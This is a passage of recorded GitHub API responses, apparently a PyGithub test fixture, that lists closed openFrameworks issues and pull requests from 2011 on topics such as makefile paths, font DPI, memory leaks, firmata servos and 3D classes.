love","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-05T15:59:48Z","created_at":"2011-03-20T19:40:07Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":689182,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-04-04T14:52:52Z","body":"This is rewrite of my previous patch base on update upstream.\r\n\r\nfollowing is the original message:\r\nI know the guide line, make your app on apps/ directory. changes in this commit follow it.\r\nand give easy way to make app in other place for people not want to -or can't- follow the guild line.\r\n\r\nIf your app is not under the apps/ direchtory, just modify OF_ROOT in your makefile to point OF directory.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/499","comments":1,"milestone":null,"number":499,"html_url":"https://github.com/openframeworks/openFrameworks/issues/499","assignee":null,"title":"Replace ../../../ in makefile with $(OF_ROOT)","labels":[],"closed_at":"2011-04-04T14:52:52Z","created_at":"2011-03-14T13:13:01Z","state":"closed","user":{"url":"https://api.github.com/users/suapapa","gravatar_id":"77bae140335cdfbd46237d35f8fdd204","login":"suapapa","avatar_url":"https://secure.gravatar.com/avatar/77bae140335cdfbd46237d35f8fdd204?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":333745},"id":671568,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/499.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/499","diff_url":"https://github.com/openframeworks/openFrameworks/pull/499.diff"}},{"updated_at":"2011-10-17T18:51:55Z","body":"Source: loadFont(...) calls FT_Set_Char_Size(...) with fixed dpi regardless of true display dpi.\r\nResult: Fonts have the wrong size on displays.\r\n\r\nFrom http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5759\r\nRelevant code is at https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofTrueTypeFont.cpp#L244","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/498","comments":6,"milestone":null,"number":498,"html_url":"https://github.com/openframeworks/openFrameworks/issues/498","assignee":null,"title":"ofTrueTypeFont does not respect correct display dpi","labels":[],"closed_at":"2011-10-17T18:29:37Z","created_at":"2011-03-14T09:16:33Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":671149,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-13T17:07:02Z","body":"- moved everything gl related to a gl folder\r\n- removed all the 3d high level classes like ofModel and ofMeshRenderer and that functionality is now in ofxAssimp\r\n- assimp has now methods to return ofMesh\r\n- reference count for all gl related classes so they can be stored in vectors or passed by copy\r\n- several fixes for new classes","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/497","comments":0,"milestone":null,"number":497,"html_url":"https://github.com/openframeworks/openFrameworks/issues/497","assignee":null,"title":"3d restructuring","labels":[],"closed_at":"2011-03-13T17:07:02Z","created_at":"2011-03-13T16:21:04Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":669471,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/497.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/497","diff_url":"https://github.com/openframeworks/openFrameworks/pull/497.diff"}},{"updated_at":"2011-03-13T22:34:55Z","body":"Found a memoryLeak in ofxCvGrayscaleImage\n\nCvMat* briConLutMatrix; is allocated at creation time, but not at destructor time. Destructor should be implemented:\n\nvoid ofxCvGrayscaleImage::~ofxCvGrayscaleImage() {\n cvReleaseMat(&briConLutMatrix);\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/496","comments":1,"milestone":null,"number":496,"html_url":"https://github.com/openframeworks/openFrameworks/issues/496","assignee":null,"title":"MemoryLeak in ofxCvGrayscaleImage","labels":[],"closed_at":"2011-03-13T22:34:55Z","created_at":"2011-03-12T17:49:44Z","state":"closed","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":667917,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-11T14:24:59Z","body":"Fixed quaternion default constructor","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/494","comments":0,"milestone":null,"number":494,"html_url":"https://github.com/openframeworks/openFrameworks/issues/494","assignee":null,"title":"Fix easycam (quaternion)","labels":[],"closed_at":"2011-03-11T14:24:59Z","created_at":"2011-03-08T12:08:07Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144230},"id":655608,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/494.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/494","diff_url":"https://github.com/openframeworks/openFrameworks/pull/494.diff"}},{"updated_at":"2011-03-13T20:04:29Z","body":"Fixed a couple of errors in a previous pull request.\r\n\r\nThis update fixes servo functionality for firmata v. 2.2 (and higher). It should still be backwards compatible with older versions of firmata that implemented a preliminary protocol for servos.\r\n\r\nExample implementation available here: http://www.box.net/shared/static/32tfaon50q.zip\r\n\r\nAlso update to firmataExample to use EInitialized event rather than polling isArduinoReady(). The polling method was based on an arbitrary delay rather than the actual initialization event triggered when firmata.begin is called on the Arduino. The use of the EInitialized event is a much better approach than polling and is recommended. It is also necessary for proper Firmata v2.2 functionality.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/493","comments":0,"milestone":null,"number":493,"html_url":"https://github.com/openframeworks/openFrameworks/issues/493","assignee":null,"title":"ofArduino updated for firmata 2.2 servo protocol","labels":[],"closed_at":"2011-03-13T20:04:29Z","created_at":"2011-03-08T03:48:43Z","state":"closed","user":{"url":"https://api.github.com/users/soundanalogous","gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","login":"soundanalogous","avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":401539},"id":654802,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/493.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/493","diff_url":"https://github.com/openframeworks/openFrameworks/pull/493.diff"}},{"updated_at":"2011-03-07T17:08:54Z","body":"This update fixes servo functionality for firmata v. 2.2 (and higher). It should still be backwards compatible with older versions of firmata that implemented a preliminary protocol for servos.\r\n\r\nExample implementation available here: http://www.box.net/shared/static/32tfaon50q.zip","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/492","comments":1,"milestone":null,"number":492,"html_url":"https://github.com/openframeworks/openFrameworks/issues/492","assignee":null,"title":"ofArduino updated for firmata 2.2 servo protocol","labels":[],"closed_at":"2011-03-08T01:08:07Z","created_at":"2011-03-06T04:02:40Z","state":"closed","user":{"url":"https://api.github.com/users/soundanalogous","gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","login":"soundanalogous","avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":401539},"id":649956,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/492.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/492","diff_url":"https://github.com/openframeworks/openFrameworks/pull/492.diff"}},{"updated_at":"2011-03-13T22:30:43Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=9&t=5669","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/489","comments":1,"milestone":null,"number":489,"html_url":"https://github.com/openframeworks/openFrameworks/issues/489","assignee":null,"title":"firmata servo control seems to be broken","labels":[],"closed_at":"2011-03-13T22:30:43Z","created_at":"2011-03-03T15:11:54Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":643589,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-04-23T15:54:05Z","body":"the videograbber / videoplayer code for ios was not compiling correctly, changed the header protection to the new style (#pragma once) brought in the required includes.\r\n\r\nAlso added a fall though videograbber type.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/488","comments":2,"milestone":null,"number":488,"html_url":"https://github.com/openframeworks/openFrameworks/issues/488","assignee":null,"title":"Bugfix of videograbber ios","labels":[],"closed_at":"2011-04-23T15:54:05Z","created_at":"2011-02-28T21:00:29Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":635548,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/488.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/488","diff_url":"https://github.com/openframeworks/openFrameworks/pull/488.diff"}},{"updated_at":"2011-04-23T15:54:19Z","body":"ofOrientation functions were throwing errors for iOS examples.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/487","comments":2,"milestone":null,"number":487,"html_url":"https://github.com/openframeworks/openFrameworks/issues/487","assignee":null,"title":"ofOrientation iOS compatible","labels":[],"closed_at":"2011-04-23T15:54:19Z","created_at":"2011-02-28T18:23:01Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":635143,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/487.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/487","diff_url":"https://github.com/openframeworks/openFrameworks/pull/487.diff"}},{"updated_at":"2011-09-11T11:27:55Z","body":"When using ofDataPath() in constructor of testApp::testApp() { .. } the path is different. Probably because Mac changes the working directory somehow? When using ofToDataPath( ) in setup it works fine.\n\nI did a quickfix (ugly) with this code which works for my addon:\nhttp://codepad.org/0xiWH2pz","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/485","comments":1,"milestone":null,"number":485,"html_url":"https://github.com/openframeworks/openFrameworks/issues/485","assignee":null,"title":"ofDataPath() gives incorrect path with called in constructor (tested Mac OSX) ","labels":[],"closed_at":"2011-09-11T11:27:55Z","created_at":"2011-02-26T15:43:10Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":629409,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-13T22:28:19Z","body":"there's a bug limiting the number of lines that can be drawn to 2.\r\nsee http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5585 which includes a proposed fix.\r\nthe fix goes here: https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofTrueTypeFont.cpp#L752\r\n\r\nthx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/483","comments":1,"milestone":null,"number":483,"html_url":"https://github.com/openframeworks/openFrameworks/issues/483","assignee":null,"title":"bug in drawStringAsShapes. fix included.","labels":[],"closed_at":"2011-03-13T22:28:19Z","created_at":"2011-02-18T09:05:56Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":608747,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-03-13T22:24:29Z","body":"You have to explicitly set this after you've created the light, it would be nice to have a default behaviour rather than undefined.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/482","comments":1,"milestone":null,"number":482,"html_url":"https://github.com/openframeworks/openFrameworks/issues/482","assignee":null,"title":"ofLight directional not set in constructor","labels":[],"closed_at":"2011-03-13T22:24:29Z","created_at":"2011-02-17T17:50:15Z","state":"closed","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":607089,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-04-23T15:55:00Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/481","comments":3,"milestone":null,"number":481,"html_url":"https://github.com/openframeworks/openFrameworks/issues/481","assignee":null,"title":"fixed a bug for unbinding the vbo when you set any data...","labels":[],"closed_at":"2011-04-23T15:55:00Z","created_at":"2011-02-16T16:48:55Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":603984,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/481.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/481","diff_url":"https://github.com/openframeworks/openFrameworks/pull/481.diff"}},{"updated_at":"2011-03-13T19:24:01Z","body":"small but ESSENTIAL commit.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/480","comments":2,"milestone":null,"number":480,"html_url":"https://github.com/openframeworks/openFrameworks/issues/480","assignee":null,"title":"added ofColor::cyan, magenta, yellow","labels":[],"closed_at":"2011-03-13T19:24:01Z","created_at":"2011-02-16T08:27:30Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":602905,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/480.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/480","diff_url":"https://github.com/openframeworks/openFrameworks/pull/480.diff"}},{"updated_at":"2011-10-21T18:48:21Z","body":"Several of the /util files have moved since the codeblocks project file was last updated (ofMath.h, ofMath.cpp, ofType.h), and the compiler, at least on my machine, is having trouble finding a slew of needed files: glew.h and wglew.h are the first two to sport errors, followed closely by ofPoint.h, ofColor.h and other oF files. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/479","comments":4,"milestone":null,"number":479,"html_url":"https://github.com/openframeworks/openFrameworks/issues/479","assignee":null,"title":"libs/ofCompiled/project/winCB project file is out of date","labels":[],"closed_at":"2011-10-21T18:48:21Z","created_at":"2011-02-15T05:47:25Z","state":"closed","user":{"url":"https://api.github.com/users/amzuko","gravatar_id":"0aa12b39584ebf6f796e7b6ad6bbc37d","login":"amzuko","avatar_url":"https://secure.gravatar.com/avatar/0aa12b39584ebf6f796e7b6ad6bbc37d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":601612},"id":599670,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=23&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '31122'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"aa5b4101cc4e07d6182db5f49a14f6b7"'), ('date', 'Tue, 29 May 2012 18:46:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-02-15T18:44:54Z","body":"This is a fix for loading more movies into the QuickTime instance of VideoPlayer on OS X. With the check that was commented out in this commit, it would not play any videos (aside from the first one of the instance) that were attempted to be loaded.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/478","comments":3,"milestone":null,"number":478,"html_url":"https://github.com/openframeworks/openFrameworks/issues/478","assignee":null,"title":"fix loading of subsequent movies into QuickTimeVideoPlayer","labels":[],"closed_at":"2011-02-15T21:45:32Z","created_at":"2011-02-15T04:54:26Z","state":"closed","user":{"url":"https://api.github.com/users/nemik","gravatar_id":"ace632f74988653fdbde09225134bfdd","login":"nemik","avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":62301},"id":599607,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/478.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/478.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/478"}},{"updated_at":"2011-02-14T21:28:18Z","body":"- minor changes\r\n- removed some typedef\r\n- added ofMaterial \r\n- added some stream operators\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/477","comments":0,"milestone":null,"number":477,"html_url":"https://github.com/openframeworks/openFrameworks/issues/477","assignee":null,"title":"Feature ofmaterial","labels":[],"closed_at":"2011-02-14T21:28:18Z","created_at":"2011-02-14T20:54:34Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":598683,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/477.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/477.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/477"}},{"updated_at":"2011-02-14T19:57:51Z","body":"like the subject says","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/476","comments":2,"milestone":null,"number":476,"html_url":"https://github.com/openframeworks/openFrameworks/issues/476","assignee":null,"title":"fixed crash bug in ofNode::setMatrix, and updates to ofQuaternion","labels":[],"closed_at":"2011-02-14T19:57:51Z","created_at":"2011-02-14T18:41:00Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144230},"id":598333,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/476.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/476.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/476"}},{"updated_at":"2011-02-14T16:33:50Z","body":"ofxThreadedImageLoader wasn't compiling due to the removal of getOFPixels","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/474","comments":0,"milestone":null,"number":474,"html_url":"https://github.com/openframeworks/openFrameworks/issues/474","assignee":null,"title":"hotfix: getOFPixels migration","labels":[],"closed_at":"2011-02-14T16:33:50Z","created_at":"2011-02-14T07:36:53Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":597005,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/474.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/474.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/474"}},{"updated_at":"2011-02-14T18:51:06Z","body":"i think this closes #404 and definitely closes #470","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/473","comments":5,"milestone":null,"number":473,"html_url":"https://github.com/openframeworks/openFrameworks/issues/473","assignee":null,"title":"added poco-based ofDirList","labels":[],"closed_at":"2011-02-15T00:32:56Z","created_at":"2011-02-14T07:27:11Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":596984,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/473.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/473.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/473"}},{"updated_at":"2011-02-13T20:20:04Z","body":"fleshing out the discussed structures/renamings for models, meshes, and so forth. WIP, still much to be done.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/472","comments":0,"milestone":null,"number":472,"html_url":"https://github.com/openframeworks/openFrameworks/issues/472","assignee":null,"title":"3d dev","labels":[],"closed_at":"2011-02-13T20:20:04Z","created_at":"2011-02-13T19:59:06Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":595993,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/472.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/472.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/472"}},{"updated_at":"2011-03-19T22:55:28Z","body":"we found this a week or two ago, but it hasn't been written down until now.\r\n\r\nOF_ERROR: getTextureData() - texture has not been allocated\r\n\r\ni think this is inside the draw bitmap character function?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/471","comments":3,"milestone":null,"number":471,"html_url":"https://github.com/openframeworks/openFrameworks/issues/471","assignee":null,"title":"ofDrawBitmapString causes an error the first time it's used","labels":[],"closed_at":"2011-03-19T08:14:16Z","created_at":"2011-02-13T19:51:54Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":595980,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-14T18:51:18Z","body":"all the platform specific code in ofxDirList needs to be removed and replaced with poco code. then it needs to be moved into whatever the files/utils namespace and renamed to DirList or DirectoryLister, FileLister or similar. i'm working on this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/470","comments":4,"milestone":null,"number":470,"html_url":"https://github.com/openframeworks/openFrameworks/issues/470","assignee":null,"title":"ofxDirList should be moved into core, replaced with Poco","labels":[],"closed_at":"2011-02-14T18:51:18Z","created_at":"2011-02-13T19:19:44Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":595926,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-02-14T21:28:18Z","body":"Added:\r\n• ofMeshNode - a renderable 3D object which can contain ofMaterials \r\n• ofMaterial - \"Anything graphical applied to the polygons\"\r\n• added ostream operator on ofColor (I thought I did that already but probably forgot)\r\n- add ostream for ofVertexData which can be used while debugging VBOs for example","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/469","comments":0,"milestone":null,"number":469,"html_url":"https://github.com/openframeworks/openFrameworks/issues/469","assignee":null,"title":"3d","labels":[],"closed_at":"2011-02-14T21:28:18Z","created_at":"2011-02-13T00:16:44Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":594689,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/469.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/469.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/469"}},{"updated_at":"2011-02-11T19:31:00Z","body":"needs qtGrabber and iphone grabber and player implementation using ofPixels instead of unsigned char","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/468","comments":0,"milestone":null,"number":468,"html_url":"https://github.com/openframeworks/openFrameworks/issues/468","assignee":null,"title":"getPixelsRef for all ofBaseHasPixels","labels":[],"closed_at":"2011-02-11T19:31:00Z","created_at":"2011-02-11T00:32:17Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":590782,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/468.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/468.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/468"}},{"updated_at":"2011-06-12T14:03:22Z","body":"There's a typo in the error description on line 21\r\nhttps://github.com/openframeworks/openFrameworks/blob/master/scripts/linux/ubuntu/install_dependencies.sh#L21\r\nshould be \"Release\" instead of \"Debug\"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/467","comments":1,"milestone":null,"number":467,"html_url":"https://github.com/openframeworks/openFrameworks/issues/467","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Minor typo in ubuntu install_dependencies script","labels":[],"closed_at":"2011-06-12T14:03:22Z","created_at":"2011-02-09T14:41:52Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":586045,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-19T21:24:45Z","body":"I wanted to wrap some depreciated 0062 stuff so it could work in 007 .. but OF_VERSION has not been updated so this is not possible. We *really* need a DEPRECIATED flag in order not to break backwards compatibility ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/466","comments":3,"milestone":null,"number":466,"html_url":"https://github.com/openframeworks/openFrameworks/issues/466","assignee":null,"title":"update OF_VERSION to 